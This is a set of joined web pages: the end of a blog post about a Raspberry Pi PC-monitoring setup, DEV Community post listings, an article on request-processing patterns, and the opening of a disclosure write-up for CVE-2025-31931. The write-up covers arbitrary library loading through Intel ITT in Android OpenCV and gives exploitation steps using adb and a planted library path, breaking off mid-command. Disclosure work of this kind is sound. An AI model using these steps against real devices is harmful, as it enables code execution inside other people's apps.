and – on the motherboard (PW is for power, and RES is for reset, note the polarity is important for the optocoupler, on the picture above: Red goes to + and Black goes to -): I could just have used one optocoupler to connect to the power button (the reset is not really necessary, because we can turn off and on the PC again to reset), but I just want to use the extra 4N25 that I have (it’s really cheap, 5.5 baht or around 17 cents USD). To reset the PC, I just set the GPIO pin to high for about one second, then set it low again. To power up the PC, I set the GPIO pin to high for about 5 seconds, and set it low again (the same can be used to forcefully power down the PC). Resetting and powering the PC is easy, the next task is to know what happened if the PC crashed. To do this, I need a serial connection. If my PC has a serial port and I have a USB to serial cable, then everything will be much easier, but since I don’t have a USB to serial cable, and my PC doesn’t have a serial port on the back, it gets a bit complicated. I still have a small board based on MAX3232CPE to convert from 3.3V serial to 5.0 V, so I plugged that board to Raspberry Pi and connected it directly to the PC motherboard. This page helped me in finding the pin names (I only need to connect RX, TX and GND). On the Raspberry side, I need to set up so that it will not use the serial port for kernel output and log in. You can follow the guide here . On the PC side, I need to activate serial output in three places: to accept login (getty), to get the kernel output (kernel parameters in grub), and in grub itself (to show the boot selection dialog). This guide for Debian works for me, but I was not able to see the GRUB output on screen when I connected my screen (I can only see the output on my serial console, but this was not a problem for me). I experimented a little bit with SGABios Hoping that I would be able to see BIOS output from my serial port. It didn’t work as expected. I can not see the initial BIOS screen, and I can not send a key to enter BIOS setting, but If I connect a keyboard and press a button to enter the BIOS, I can see the BIOS menu via serial port and I can interact with it. Here are the steps that I tried to get the BIOS serial output: I downloaded the BIOS for my motherboard (an AWARD BIOS). Then on a windows machine, I modified the BIOS using CBROM cbrom bios.bin /isa sgabios.bin . Then I flashed the BIOS from Linux using Flashrom . I didn’t solve the BIOS problem due to time constraint. There are several solutions that I can think of to solve this: one is to use CoreBoot (but unfortunately my motherboard is not supported by coreboot), another one is to try to do more hacking on the BIOS (maybe removing the VGA ROM to force the output to serial port) and the other one is to simulate a keypress to enter BIOS. The first two methods may not be portable across BIOS, but the last one should be portable. The key simulation can be done by simulating a PS2 device (using bitbanging on Raspberry Pi), or USB HID device. A super simple USB HID device can be made by using V-USB library (you can see this as an example ). Just a few hours before I left, I have an idea to connect a temperature sensor just to see if the temperature around the PC case is too high. We are entering the summer here in Chiang Mai and the outside temperature is getting higher every day (from November to beginning of February, the temperature was around 8-20 Celcius, and now it is around 17-37 Celcius). It was quite easy to add the temperature sensor, I just use the guide and driver from adafruit . Next time I may add an infrared LED on the Raspberry Pi to turn on the Air Conditioner when it gets really hot. Having everything setup: nothing happened while I was away. The PC was running nicely (and I can access the PC via SSH and the serial console). Author admin Posted on February 28, 2014 July 26, 2018 Categories debian , raspberry Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Productivity Follow Hide Productivity includes tips on how to use tools and software, process optimization, useful references, experience, and mindstate optimization. Create Post submission guidelines Please check if your article contains information or discussion bases about productivity. From posts with the tag #productivity we expect tips on how to use tools and software, process optimization, useful references, experience, and mindstate optimization. Productivity is a very broad term with many aspects and topics. From the color design of the office to personal rituals, anything can contribute to increase / optimize your own productivity or that of a team. about #productivity Does my article fit the tag? It depends! Productivity is a very broad term with many aspects and topics. From the color design of the office to personal rituals, anything can contribute to increase / optimize your own productivity or that of a team. Older #productivity posts 72 73 74 75 76 77 78 79 80 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu 80. Remove Duplicates from Sorted Array II | LeetCode | Top Interview 150 | Coding Questions Debesh P. Debesh P. Debesh P. Follow Dec 9 '25 80. Remove Duplicates from Sorted Array II | LeetCode | Top Interview 150 | Coding Questions # leetcode # programming # productivity # beginners 5 reactions Comments Add Comment 1 min read 26. Remove Duplicates from Sorted Array | LeetCode | Top Interview 150 | Coding Questions Debesh P. Debesh P. Debesh P. Follow Dec 9 '25 26. Remove Duplicates from Sorted Array | LeetCode | Top Interview 150 | Coding Questions # leetcode # programming # productivity # beginners 5 reactions Comments Add Comment 1 min read Tesla System Design Interview Lessons I Learned from Cracking Their Coding Challenge Dev Loops Dev Loops Dev Loops Follow Dec 9 '25 Tesla System Design Interview Lessons I Learned from Cracking Their Coding Challenge # tesla # career # systemdesign # productivity Comments Add Comment 5 min read Idea Document-er: A CLI Tool Grace Rasaily Grace Rasaily Grace Rasaily Follow Nov 4 '25 Idea Document-er: A CLI Tool # opensource # cli # rust # productivity Comments Add Comment 2 min read Day 1 of daily coding: Functions is java Chhavi Joshi Chhavi Joshi Chhavi Joshi Follow Nov 5 '25 Day 1 of daily coding: Functions is java # productivity # tutorial # java # learning Comments Add Comment 2 min read Understanding CPU Registers: The Invisible Powerhouse Behind Your Code Farhad Rahimi Klie Farhad Rahimi Klie Farhad Rahimi Klie Follow Dec 9 '25 Understanding CPU Registers: The Invisible Powerhouse Behind Your Code # cpu # registers # computerarchitecture # productivity Comments Add Comment 3 min read Code and Coding is Dead: Function Driven Development or Extinct Ryo Suwito Ryo Suwito Ryo Suwito Follow Dec 9 '25 Code and Coding is Dead: Function Driven Development or Extinct # webdev # ai # programming # productivity 3 reactions Comments 5 comments 7 min read Smart Tax Planning Tips for Freelancers in 2025 Creative Soul Creative Soul Creative Soul Follow Nov 6 '25 Smart Tax Planning Tips for Freelancers in 2025 # career # productivity # resources Comments Add Comment 5 min read Digital Twin Technology: The Future of Smart Innovation Rapid Cell Phone Rapid Cell Phone Rapid Cell Phone Follow Nov 5 '25 Digital Twin Technology: The Future of Smart Innovation # productivity Comments Add Comment 2 min read Side Copilot: My Chrome Extension Alternative to Comet Browser kingyou kingyou kingyou Follow Dec 9 '25 Side Copilot: My Chrome Extension Alternative to Comet Browser # productivity # beginners # ai # extensions 1 reaction Comments Add Comment 2 min read A Developer’s Guide to Surviving the AI Product Tsunami Jaideep Parashar Jaideep Parashar Jaideep Parashar Follow Dec 6 '25 A Developer’s Guide to Surviving the AI Product Tsunami # webdev # ai # productivity # beginners 29 reactions Comments 5 comments 4 min read AI-Friendly README: Stop Claude & ChatGPT Hallucinations jedrzejdocs jedrzejdocs jedrzejdocs Follow Dec 8 '25 AI-Friendly README: Stop Claude & ChatGPT Hallucinations # documentation # ai # productivity # opensource 5 reactions Comments Add Comment 4 min read 7 AI Devtools to Watch This December Bap Bap Bap Follow Dec 9 '25 7 AI Devtools to Watch This December # ai # programming # productivity # tooling 16 reactions Comments 1 comment 10 min read Use Local LLMs to Eliminate Little Annoying Tasks Seena Sabti Seena Sabti Seena Sabti Follow Dec 2 '25 Use Local LLMs to Eliminate Little Annoying Tasks # webdev # ai # programming # productivity 22 reactions Comments 4 comments 5 min read Top IDEs and Editors Used 👨🏻💻📝💡 ssekabira robert sims ssekabira robert sims ssekabira robert sims Follow Nov 9 '25 Top IDEs and Editors Used 👨🏻💻📝💡 # webdev # programming # productivity # security 5 reactions Comments Add Comment 1 min read RestlessIDE Enters Public Beta Mike Mike Mike Follow Nov 5 '25 RestlessIDE Enters Public Beta # vscode # webdev # programming # productivity Comments Add Comment 4 min read Cron Jobs: Why They Matter for Developers SURULIRAAJAN SURULIRAAJAN SURULIRAAJAN Follow Nov 5 '25 Cron Jobs: Why They Matter for Developers # webdev # automation # linux # productivity Comments Add Comment 2 min read How I Built ImgCraft — An AI-Enhanced Image Editing Platform for the Web Sparsh Swarankar Sparsh Swarankar Sparsh Swarankar Follow Dec 9 '25 How I Built ImgCraft — An AI-Enhanced Image Editing Platform for the Web # webdev # ai # productivity # python 1 reaction Comments Add Comment 3 min read Setting up Pterodactyl panel + Wings on Ubuntu Server 24.04, Struggles & Fixes Danielius Navickas Danielius Navickas Danielius Navickas Follow Dec 8 '25 Setting up Pterodactyl panel + Wings on Ubuntu Server 24.04, Struggles & Fixes # linux # ubuntu # productivity 1 reaction Comments Add Comment 2 min read 🚀 Announcing gibr: A CLI that auto-generates clean, consistent Git branch names Yair Treister Yair Treister Yair Treister Follow Nov 17 '25 🚀 Announcing gibr: A CLI that auto-generates clean, consistent Git branch names # productivity # git # opensource # devops 5 reactions Comments 1 comment 3 min read AI Coding Assistants: Boon or Bane? Vishwajeet Kondi Vishwajeet Kondi Vishwajeet Kondi Follow Nov 8 '25 AI Coding Assistants: Boon or Bane? # ai # futureoftech # codingassistants # productivity Comments Add Comment 3 min read Why Most AI Coding Tools Fail (And How They Succeed) Matěj Štágl Matěj Štágl Matěj Štágl Follow Nov 8 '25 Why Most AI Coding Tools Fail (And How They Succeed) # productivity # tooling # ai # programming Comments Add Comment 6 min read Using Mastra to create an AI agent goal planner for Telex.im Usman Al-Ameen (Usman Al-Ameen) Usman Al-Ameen (Usman Al-Ameen) Usman Al-Ameen (Usman Al-Ameen) Follow Nov 4 '25 Using Mastra to create an AI agent goal planner for Telex.im # agents # javascript # ai # productivity Comments Add Comment 1 min read Practicing programming with sandbox projects Jan Mewes Jan Mewes Jan Mewes Follow Dec 6 '25 Practicing programming with sandbox projects # learning # productivity # programming 19 reactions Comments Add Comment 3 min read How to Use Lined Printables to Improve Your Study or Coding Workflow Bakhat Yar|SEO Specialist Bakhat Yar|SEO Specialist Bakhat Yar|SEO Specialist Follow Dec 8 '25 How to Use Lined Printables to Improve Your Study or Coding Workflow # ai # programming # productivity # devops Comments Add Comment 5 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Programming Follow Hide The magic behind computers. 💻 🪄 Create Post Older #programming posts 11 12 13 14 15 16 17 18 19 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu DLMan :: the download manager I always wanted Shayan Shayan Shayan Follow Jan 8 DLMan :: the download manager I always wanted # programming # opensource # rust # tauri Comments Add Comment 2 min read IRQs and the Art of Not Crashing Florent Herisson Florent Herisson Florent Herisson Follow Jan 9 IRQs and the Art of Not Crashing # osdev # programming # interrupts # lowlevel Comments Add Comment 6 min read The Secret Life of Go: Interfaces Aaron Rose Aaron Rose Aaron Rose Follow Jan 12 The Secret Life of Go: Interfaces # go # coding # programming # software 9 reactions Comments Add Comment 5 min read Why Markdown Is The Secret To Better AI Karishma Shukla Karishma Shukla Karishma Shukla Follow Jan 8 Why Markdown Is The Secret To Better AI # webdev # ai # tutorial # programming 6 reactions Comments Add Comment 3 min read How JSON Works Behind the Scenes in Web Apps yutilo yutilo yutilo Follow Jan 8 How JSON Works Behind the Scenes in Web Apps # webdev # json # api # programming 1 reaction Comments Add Comment 5 min read Solved: Why do project-management refugees think a weekend AWS course makes them engineers? Darian Vance Darian Vance Darian Vance Follow Jan 8 Solved: Why do project-management refugees think a weekend AWS course makes them engineers? # devops # programming # tutorial # cloud Comments Add Comment 7 min read You Probably Already Know What a Monad Is Christian Ekrem Christian Ekrem Christian Ekrem Follow Jan 8 You Probably Already Know What a Monad Is # programming # frontend # functional # beginners Comments Add Comment 1 min read Assertion Blocks in Voiden Dhruba Patra Dhruba Patra Dhruba Patra Follow Jan 8 Assertion Blocks in Voiden # api # programming # webdev 1 reaction Comments Add Comment 1 min read 8 Python Automation Scripts to Say Goodbye to Repetitive Tasks ServBay ServBay ServBay Follow Jan 8 8 Python Automation Scripts to Say Goodbye to Repetitive Tasks # webdev # programming # python # automation 2 reactions Comments Add Comment 7 min read 🎉 Big News for Python Developers & Mermaid Fans: "mmdc" Makes Mermaid Diagrams Easy as Python! 🚀 Mohammad Raziei Mohammad Raziei Mohammad Raziei Follow Jan 8 🎉 Big News for Python Developers & Mermaid Fans: "mmdc" Makes Mermaid Diagrams Easy as Python! 🚀 # mermaid # python # javascript # programming Comments Add Comment 3 min read From Missing to Meaningful: Modern Approaches to Data Imputation in R Dipti Moryani Dipti Moryani Dipti Moryani Follow Jan 8 From Missing to Meaningful: Modern Approaches to Data Imputation in R # programming # ai # datascience Comments Add Comment 5 min read لماذا نعتقد: كيف يمكننا تحسين قدرة النماذج على التفكير Mohamed Shaban Mohamed Shaban Mohamed Shaban Follow Jan 8 لماذا نعتقد: كيف يمكننا تحسين قدرة النماذج على التفكير # news # ai # tech # programming Comments Add Comment 1 min read Why Most AI Coding Sessions Fail (And How to Fix It) Steve Harlow Steve Harlow Steve Harlow Follow Jan 8 Why Most AI Coding Sessions Fail (And How to Fix It) # ai # productivity # devops # programming Comments Add Comment 6 min read Day 8: Designing the API Contract First Erik Erik Erik Follow for Allscreenshots Jan 8 Day 8: Designing the API Contract First # webdev # programming Comments Add Comment 3 min read Tool Boundaries for Agents: When to Call Tools + How to Design Tool I/O (So Your System Stops Guessing) Anindya Obi Anindya Obi Anindya Obi Follow Jan 8 Tool Boundaries for Agents: When to Call Tools + How to Design Tool I/O (So Your System Stops Guessing) # ai # programming # rag # mcp Comments Add Comment 5 min read I Got Tired of Rebuilding the Same SaaS Setup — So I Turned It Into a Boilerplate Dev. Resources Dev. Resources Dev. Resources Follow Jan 8 I Got Tired of Rebuilding the Same SaaS Setup — So I Turned It Into a Boilerplate # webdev # programming # javascript # nextjs 5 reactions Comments Add Comment 2 min read Course Launch: Writing Is an Important Part of Coding Prasoon Jadon Prasoon Jadon Prasoon Jadon Follow Jan 8 Course Launch: Writing Is an Important Part of Coding # programming # learning # tutorial # beginners 1 reaction Comments Add Comment 2 min read My Thoughts on Frontend Architecture & Framework Choices for 2026 samurai-techlead samurai-techlead samurai-techlead Follow Jan 6 My Thoughts on Frontend Architecture & Framework Choices for 2026 # webdev # programming # frontend # architecture Comments Add Comment 4 min read Understanding API Authentication in C# : Mastering Deepangshi S. Deepangshi S. Deepangshi S. Follow Jan 8 Understanding API Authentication in C# : Mastering # csharp # auth # programming # learning 5 reactions Comments Add Comment 1 min read [BOJ/C++] 단계별로 풀어보기 - 브루트 포스 dbsans dbsans dbsans Follow Jan 8 [BOJ/C++] 단계별로 풀어보기 - 브루트 포스 # programming # cpp # coding Comments Add Comment 3 min read Testing Database Logic: What to Test, What to Skip, and Why It Matters CodeCraft Diary CodeCraft Diary CodeCraft Diary Follow Jan 6 Testing Database Logic: What to Test, What to Skip, and Why It Matters # programming # php # testing # development Comments Add Comment 4 min read MVPs Don’t Work? Here’s How to Validate Products Fast Without Failing IT IDOL Technologies IT IDOL Technologies IT IDOL Technologies Follow Jan 8 MVPs Don’t Work? Here’s How to Validate Products Fast Without Failing # mvp # webdev # programming Comments Add Comment 8 min read Code Hike in 100 Seconds Fabian Frank Werner Fabian Frank Werner Fabian Frank Werner Follow Jan 11 Code Hike in 100 Seconds # webdev # programming # javascript # beginners 12 reactions Comments Add Comment 2 min read I Dreamed of Being a Software Engineer at 8 — Still Figuring It Out at 21 Suraj Kumar Suraj Kumar Suraj Kumar Follow Jan 8 I Dreamed of Being a Software Engineer at 8 — Still Figuring It Out at 21 # webdev # programming # ai # javascript Comments Add Comment 2 min read Working with Categorical Data in R: Creating Frequency Tables as Data Frames (Modern Approaches) Anshuman Anshuman Anshuman Follow Jan 8 Working with Categorical Data in R: Creating Frequency Tables as Data Frames (Modern Approaches) # programming # ai # javascript # tutorial Comments Add Comment 4 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://dev.to/siy/the-underlying-process-of-request-processing-1od4 | The Underlying Process of Request Processing - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse Sergiy Yevtushenko Posted on Jan 12 • Originally published at pragmatica.dev The Underlying Process of Request Processing # java # functional # architecture # backend The Underlying Process of Request Processing Beyond Languages and Frameworks Every request your system handles follows the same fundamental process. It doesn't matter if you're writing Java, Rust, or Python. It doesn't matter if you're using Spring, Express, or raw sockets. The underlying process is universal because it mirrors how humans naturally solve problems. When you receive a question, you don't answer immediately. You gather context. You retrieve relevant knowledge. You combine pieces of information. You transform raw data into meaningful understanding. Only then do you formulate a response. This is data transformation--taking input and gradually collecting necessary pieces of knowledge to provide a correct answer. Software request processing works identically. The Universal Pattern Every request follows these stages: Parse - Transform raw input into validated domain objects Gather - Collect necessary data from various sources Process - Apply business logic to produce results Respond - Transform results into appropriate output format This isn't a framework pattern. It's not a design choice. It's the fundamental nature of information processing. Whether you're handling an HTTP request, processing a message from a queue, or responding to a CLI command--the process is the same. Input → Parse → Gather → Process → Respond → Output Enter fullscreen mode Exit fullscreen mode Each stage transforms data. Each stage may need additional data. Each stage may fail. The entire flow is a data transformation pipeline. Why Async Looks Like Sync Here's the insight that changes everything: when you think in terms of data transformation, the sync/async distinction disappears . Consider these two operations: // "Synchronous" Result < User > user = database . findUser ( userId ); // "Asynchronous" Promise < User > user = httpClient . fetchUser ( userId ); Enter fullscreen mode Exit fullscreen mode From a data transformation perspective, these are identical: Both take a user ID Both produce a User (or failure) Both are steps in a larger pipeline The only difference is when the result becomes available. But that's an execution detail, not a structural concern. Your business logic doesn't care whether the data came from local memory or crossed an ocean. It cares about what the data is and what to do with it. When you structure code as data transformation pipelines, this becomes obvious: // The structure is identical regardless of sync/async return userId . all ( id -> findUser ( id ), // Might be sync or async id -> loadPermissions ( id ), // Might be sync or async id -> fetchPreferences ( id ) // Might be sync or async ). map ( this :: buildContext ); Enter fullscreen mode Exit fullscreen mode The pattern doesn't change. The composition doesn't change. Only the underlying execution strategy changes--and that's handled by the types, not by you. Parallel Execution Becomes Transparent The same principle applies to parallelism. When operations are independent, they can run in parallel. When they depend on each other, they must run sequentially. This isn't a choice you make--it's determined by the data flow. // Sequential: each step needs the previous result return validateInput ( request ) . flatMap ( this :: createUser ) . flatMap ( this :: sendWelcomeEmail ); // Parallel: steps are independent return Promise . all ( fetchUserProfile ( userId ), loadAccountSettings ( userId ), getRecentActivity ( userId ) ). map ( this :: buildDashboard ); Enter fullscreen mode Exit fullscreen mode You don't decide "this should be parallel" or "this should be sequential." You express the data dependencies. The execution strategy follows from the structure. If operations share no data dependencies, they're naturally parallelizable. If one needs another's output, they're naturally sequential. This is why thinking in data transformation is so powerful. You describe what needs to happen and what data flows where . The how --sync vs async, sequential vs parallel--emerges from the structure itself. The JBCT Patterns as Universal Primitives Java Backend Coding Technology captures this insight in six patterns: Leaf - Single transformation (atomic) Sequencer - A → B → C, dependent chain (sequential) Fork-Join - A + B + C → D, independent merge (parallel-capable) Condition - Route based on value (branching) Iteration - Transform collection (map/fold) Aspects - Wrap transformation (decoration) These aren't arbitrary design patterns. They're the fundamental ways data can flow through a system: Transform a single value (Leaf) Chain dependent transformations (Sequencer) Combine independent transformations (Fork-Join) Choose between transformations (Condition) Apply transformation to many values (Iteration) Enhance a transformation (Aspects) Every request processing task--regardless of domain, language, or framework--decomposes into these six primitives. Once you internalize this, implementation becomes mechanical. You're not inventing structure; you're recognizing the inherent structure of the problem. Optimal Implementation as Routine When you see request processing as data transformation, optimization becomes straightforward: Identify independent operations → They can parallelize (Fork-Join) Identify dependent chains → They must sequence (Sequencer) Identify decision points → They become conditions Identify collection processing → They become iterations Identify cross-cutting concerns → They become aspects You're not making architectural decisions. You're reading the inherent structure of the problem and translating it directly into code. This is why JBCT produces consistent code across developers and AI assistants. There's essentially one correct structure for any given data flow. Different people analyzing the same problem arrive at the same solution--not because they memorized patterns, but because the patterns are the natural expression of data transformation. The Shift in Thinking Traditional programming asks: "What sequence of instructions produces the desired effect?" Data transformation thinking asks: "What shape does the data take at each stage, and what transformations connect them?" The first approach leads to imperative code where control flow dominates. The second leads to declarative pipelines where data flow dominates. When you make this shift: Async stops being "harder" than sync Parallel stops being "risky" Error handling stops being an afterthought Testing becomes straightforward (pure transformations are trivially testable) You're no longer fighting the machine to do what you want. You're describing transformations and letting the runtime figure out the optimal execution strategy. Conclusion Request processing is data transformation. This isn't a paradigm or a methodology--it's the underlying reality that every paradigm and methodology is trying to express. Languages and frameworks provide different syntax. Some make data transformation easier to express than others. But the fundamental process doesn't change. Input arrives. Data transforms through stages. Output emerges. JBCT patterns aren't rules to memorize. They're the vocabulary for describing data transformation in Java. Once you see the underlying process clearly, using these patterns becomes as natural as describing what you see. The result: any processing task, implemented in close to optimal form, as a matter of routine. Part of Java Backend Coding Technology - a methodology for writing predictable, testable backend code. Top comments (0) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Code of Conduct • Report abuse Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink . Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse Sergiy Yevtushenko Follow Writing code for 35+ years and still enjoy it... Location Krakow, Poland Work Senior Software Engineer Joined Mar 14, 2019 More from Sergiy Yevtushenko From Subjective Opinions to Systematic Analysis: Pattern-Based Code Review # codereview # java # patterns # bestpractices Java Should Stop Trying To Be Like Everybody Else # java # kubernetes # runtime # deployment Java Backend Coding Technology: Writing Code in the Era of AI #Version 1.1 # ai # java # codingtechnology 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Programming Follow Hide The magic behind computers. 💻 🪄 Create Post Older #programming posts 12 13 14 15 16 17 18 19 20 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu Solved: Why do project-management refugees think a weekend AWS course makes them engineers? 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Follow Jan 8 Understanding API Authentication in C# : Mastering # csharp # auth # programming # learning 5 reactions Comments Add Comment 1 min read [BOJ/C++] 단계별로 풀어보기 - 브루트 포스 dbsans dbsans dbsans Follow Jan 8 [BOJ/C++] 단계별로 풀어보기 - 브루트 포스 # programming # cpp # coding Comments Add Comment 3 min read Testing Database Logic: What to Test, What to Skip, and Why It Matters CodeCraft Diary CodeCraft Diary CodeCraft Diary Follow Jan 6 Testing Database Logic: What to Test, What to Skip, and Why It Matters # programming # php # testing # development Comments Add Comment 4 min read MVPs Don’t Work? Here’s How to Validate Products Fast Without Failing IT IDOL Technologies IT IDOL Technologies IT IDOL Technologies Follow Jan 8 MVPs Don’t Work? Here’s How to Validate Products Fast Without Failing # mvp # webdev # programming Comments Add Comment 8 min read Code Hike in 100 Seconds Fabian Frank Werner Fabian Frank Werner Fabian Frank Werner Follow Jan 11 Code Hike in 100 Seconds # webdev # programming # javascript # beginners 12 reactions Comments Add Comment 2 min read I Dreamed of Being a Software Engineer at 8 — Still Figuring It Out at 21 Suraj Kumar Suraj Kumar Suraj Kumar Follow Jan 8 I Dreamed of Being a Software Engineer at 8 — Still Figuring It Out at 21 # webdev # programming # ai # javascript Comments Add Comment 2 min read Working with Categorical Data in R: Creating Frequency Tables as Data Frames (Modern Approaches) Anshuman Anshuman Anshuman Follow Jan 8 Working with Categorical Data in R: Creating Frequency Tables as Data Frames (Modern Approaches) # programming # ai # javascript # tutorial Comments Add Comment 4 min read You Don’t Need a Vector Database to Build RAG (Yet): A ~$1/Month DynamoDB Pipeline Matia Rašetina Matia Rašetina Matia Rašetina Follow Jan 12 You Don’t Need a Vector Database to Build RAG (Yet): A ~$1/Month DynamoDB Pipeline # aws # rag # programming # python Comments Add Comment 10 min read Clone Graph: Coding Problem Solution Explained Stack Overflowed Stack Overflowed Stack Overflowed Follow Jan 8 Clone Graph: Coding Problem Solution Explained # programming # coding # tutorial # learning Comments Add Comment 4 min read LLM Data Leaks: Exposing Hidden Risks in ETL/ELT Pipelines Malik Abualzait Malik Abualzait Malik Abualzait Follow Jan 8 LLM Data Leaks: Exposing Hidden Risks in ETL/ELT Pipelines # ai # tech # programming # tutorial Comments Add Comment 4 min read Sliding window (Fixed length) Jayaprasanna Roddam Jayaprasanna Roddam Jayaprasanna Roddam Follow Jan 6 Sliding window (Fixed length) # programming # beginners # tutorial # learning Comments Add Comment 2 min read NGINX --- High Performance Web Server for High Traffic CodeFalconX CodeFalconX CodeFalconX Follow Jan 8 NGINX --- High Performance Web Server for High Traffic # programming # nginx Comments Add Comment 2 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://tinyhack.com/2025/11/09/cve-2025-31931-arbitrary-shared-library-loading-in-intel-itt-api-on-android-affects-opencv-4-10/ | CVE-2025-31931 Arbitrary Shared Library Loading in Intel ITT API on Android (affects OpenCV <= 4.10) – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. CVE-2025-31931 Arbitrary Shared Library Loading in Intel ITT API on Android (affects OpenCV <= 4.10) Intel® Instrumentation and Tracing Technology (ITT) is a profiling API that developers use to analyze performance. The ITT library is available for many platforms. It used by many Android applications, either directly, or indirectly (e.g: via precompiled OpenCV library for Android officially downloaded from OpenCV website). Intel advisory is here: https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01337.html A bug was found that allows ITT to load arbitrary shared library. This shared library can do anything (executing arbitrary code, exfiltrating data, etc). Fortunately the exploitation is not that easy (requires adb access either via PC or Shizuku app, so remote exploitation should not be possible). POC is available on my github, but read on to understand this bug. OpenCV copies all ITT API files verbatim to their 3rdparty/ittnotify directory. ITT is always built for Android platform (can’t be disabled via CMake config): OCV_OPTION(BUILD_ITT "Build Intel ITT from source" (NOT MINGW OR OPENCV_FORCE_3RDPARTY_BUILD) IF (X86_64 OR X86 OR ARM OR AARCH64 OR PPC64 OR PPC64LE) AND NOT WINRT AND NOT APPLE_FRAMEWORK ) Any Android application using OpenCV up until 4.10 is affected, 4.11 and later are safe. There is no warning about this CVE in OpenCV because they were released before this CVE was published and they have accidentally fixed the bug (see this ) because someone wants to support OpenBSD (“ 3rdparty/ittnotify had not been updated until 9 years. To support OpenBSD, I suggest to update to latest release version v3.25.4 “) How I found the bug I didn’t find this bug through source code review or fuzzing, I found this while doing a pentest on an internal application used by a bank. They asked me to specifically check the third party library they use for liveness detection (lets call this library X) because they plan to use it for their public app. When reverse engineering the library, I found that it it uses dlopen and can load an arbitrary library specified in /data/local/tmp/com.intel.itt.collector_lib_64 . The vulnerable old code can be seen here in function static const char* __itt_get_lib_name(void) . First it constructs a string by concatenating /data/local/tmp with com.intel.itt.collector_lib_64 for android 64 bit or com.intel.itt.collector_lib_32 for Android 32 bit. Then it will read the content of the file. From the source code, it is not very clear that this code will load arbitrary library It is much more visible when the code is compiled, then disassembled: param1 is assigned value from __itt_get_lib_name And then it is assigned to pcVar2 , then it is loaded using dlopen You can see the fix by looking at this commit . They completely remove the functionality, so the fix is complete. At first I thought that this is a bug in the library X itself, then after searching on github, I found that it was from Intel ITT. After further investigation, library X doesn’t use ITT library directly, it was from OpenCV that they use. The default statically linked OpenCV library was vulnerable. After having a slight problem reporting this bug to Intel last year, they finally accepted it and gave me 1500 USD. To save everyone’s time: if you have a bug in their open source component, report it via intigriti . I found out later that many other app by the same bank also used OpenCV with the same bug. Exploiting The Bug To test that we can really load an arbitrary .so, i tried loading a library from /data/local/tmp , it doesn’t work because of SELinux. After reading The Mystique exploit (2002) , i realized that: android allows loading a shared library from *any* app if we know the path. So to test, we need: A vulnerable app (The very first OpenCV from version 4.10: Camera Preview example is enough) An app containing dynamic library to load (the exploit app, we need to code this), with extractNativeLibs set to true (see my other post if you need to know why). After installing both apps, we need to know where our exploit app is located: adb shell pm path com.tinyhack.cve_2025_31931 This will print path to base.apk, we just need to replace base.apk with lib/arm64/lib_cve_2025_3191.so . Then we create /data/local/tmp/com.intel.itt.collector_lib_64 using adb shell echo -n 